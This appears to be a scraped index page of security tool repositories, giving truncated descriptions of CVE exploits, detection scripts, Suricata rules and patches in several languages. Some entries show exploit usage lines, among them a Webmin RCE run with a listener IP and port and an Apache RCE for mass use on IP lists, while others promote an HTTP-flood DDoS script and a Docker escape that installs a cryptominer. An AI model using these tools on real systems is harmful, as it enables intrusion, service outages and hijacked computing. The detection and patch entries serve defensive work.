Detection-script-for-cve-2021-23358

Detection-script-for-cve-2021-23358 Detection script for cve-2021-23358 I have created a Detection script for CVE-2021-23358 , which will detect the vulnerable version of node underscore be it installed as an open-source tool or just the libraries are being used. This script has three features, I...

PESTO

PESTO: Herramienta Estadística de Archivos PE ==================================== Descripción PESTO es un script de Python que extrae y guarda en una base de datos algunas características de seguridad o banderas de archivos PE, buscando en cada binario PE en un directorio completo, y guardando l...

CVE-2019-15107

CVE-2019-15107 webmin o minisever RCE Uso del script: Probado en v1.890, pero también debería funcionar en otras versiones de webmin en las que esté instalado este backdoor. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2020-1938

CVE-2020-1938 Reglas de detección de Suricata root@kitploit: CNVD-2020-10487 CVE-2020-1938 alert tcp any any - any 8009 msg:"CNVD-2020-10487 Ghostcat"; content:"javax|2e|servlet|2e|include|2e|requesturi"; content:"javax|2e|servlet|2e|include|2e|pathinfo";...

CVE-2026-53683

resetpassword.html parses query string parameters and uses the 'url' parameter as a redirection target window.location = url after password reset, optionally delayed by a 'delay' parameter. No validation or allowlisting is performed on url, enabling an attacker to redirect users to an arbitrary...

CVE-2014-6271

CVE-2014-6271 Descripción Este proyecto permite reproducir la vulnerabilidad CVE-2014-6271 , también conocida como Shellshock. Shellshock es una vulnerabilidad de seguridad en Bash que permite ejecutar código malicioso a través de variables de entorno. El objetivo de este proyecto es demostrar el...

https-nj.gov---CVE-2018-14040

https-nj.gov---CVE-2018-14040 Informe de vulnerabilidad del sitio oficial de Nueva Jersey En Bootstrap anterior a 4.1.2, XSS es posible en el atributo data del collapse principal. El atributo data-target y el atributo data-parent son vulnerables a ataques de Cross-Site Scripting. Test RECOMENDACI...

CVE-2023-23752

CVE-2023-23752 Joomla! v4.2.8 - Divulgación de información no autenticada Para ejecutar este script, necesitamos instalar algunas gemas faltantes: root@kitploit: sudo gem install httpx sudo gem install docopt sudo gem install paint root@kitploit: ruby exploit.rb http://dev.devvortex.htb...

CVE-2023-23397

CVE-2023-23397 Patch for MS Outlook Critical Vulnerability - CVSS 9.8 3 PowerShell scripts are included in the Patch folder. If your patch management software uses an evaluation and a remediation script, use the respective files/scripts. The All In One script will evaluate the current version of...

dns_amplification_scanner

Outil de détection et de vérification des amplifications DNS DDoS Ce script est conçu pour identifier et vérifier les serveurs DNS potentiellement vulnérables à l'exploitation dans les attaques par déni de service distribué DDoS par amplification DNS. Il pallie les limites des scanners de...

ddos

ndbiaw Un script Python para DDoS a un sitio web mediante el método HTTP Flood. ¡Un sitio web normal solo necesita 5 segundos para caer por completo! Cómo usar: Este script puede funcionar tanto en Windows como en Android Termux. A continuación se indican las instrucciones: root@kitploit: pip...

CVE-2025-24071_PoC

CVE-2025-24071 / CVE-2025-24054 PoC Nota: MICROSOFT HA RENOMBRADO CVE-2025-24071 COMO CVE-2025-24054 🤔 Resumen Esta vulnerabilidad de Windows, específicamente en 'explorer.exe', nos permite recibir un hash NetNTLMv2 de una víctima simplemente con que el atacante extraiga un archivo .zip. Uso...

CVE-2026-31431-Copy-Fail-add-arm64

Vulnerability Overview Item| Content ---|--- CVE ID| CVE-2026-31431 Vulnerability Name| Copy Fail Vulnerability Type| Linux Kernel Local Privilege Escalation LPE CVSS 3.1 Score| 7.8 HIGH CWE| CWE-669: Incorrect Resource Transfer Between Spheres Affected Scope| All Linux kernels built between 2017...

CVE-2021-1732

Escalada de Privilegios en Windows Exploit para CVE-2021-1732 Win32k - Escalada Local de Privilegios Solo con fines educativos y de investigación de seguridad autorizada Autores del Exploit Original @Exploit Blizzard Descripción de la Vulnerabilidad Existe una vulnerabilidad en win32k que puede s...

CVE-2024-33231

Ferozo Webmail XSS Vulnerability via File Upload CVE-2024-33231 Description Ferozo Webmail version 1.1 is vulnerable to Cross-Site Scripting XSS through the file upload functionality. An attacker can exploit this vulnerability by uploading a specially crafted file containing malicious JavaScript...

Docker-Escape-Miner

Usando un exploit de Docker publicado para obtener acceso root y ejecutar un script de minería de bitcoin Esto usa dos bibliotecas de código abierto: nightminer de @ricmoo para minería de bitcoin en Python RunC-CVE-2019-5736 de @twistlock para el escape de Docker Requisitos del sistema Esto fue...

drupal-exploit

drupal-exploit CVE-2018-7600 Este script explotará la vulnerabilidad CVE-2018-7600 en Drupal 7 : drupal.py https://drupaldomain/drupal/ uid=33www-data gid=33www-data groups=33www-data https://nvd.nist.gov/vuln/detail/CVE-2018-7600 https://www.drupal.org/sa-core-2018-002...

CVE-2021-41773

ApacheRCE ApacheRCE es un pequeño script de Python que te permitirá introducir la versión de Apache 2.4.49-2.4.50 y luego introducir una lista de direcciones IP desde un archivo de texto y ejecutar el exploit en masa sobre ellas. Esto puede ser útil si estás ejecutando múltiples sitios web y...

scanner-CVE-2020-5902

BIP-IP TMUI Scanner - CVE-2020-5902 Script will run checks for CVE-2020-5902 Usage: Provide list of IP address in "ip.txt" to scan for CVE-2020-5902 Default port: 443 Sample Output + Host is vulnerable to CVE-2020-5902:IP Address + Host is not vulnerable to CVE-2020-5902:IP Address...

CVE-2019-13051

Pi-Hole 4.3.2 Command Injection & PrivEsc CVE-2019-13051 Pi-Hole version 4.3.2 contains a patch to this vulnerability:https://github.com/pi-hole/AdminLTE/pull/974 A big thanks to the Pi-Hole dev team for their awesome project and for making it so easy to report this vulnerability! Executive Summa...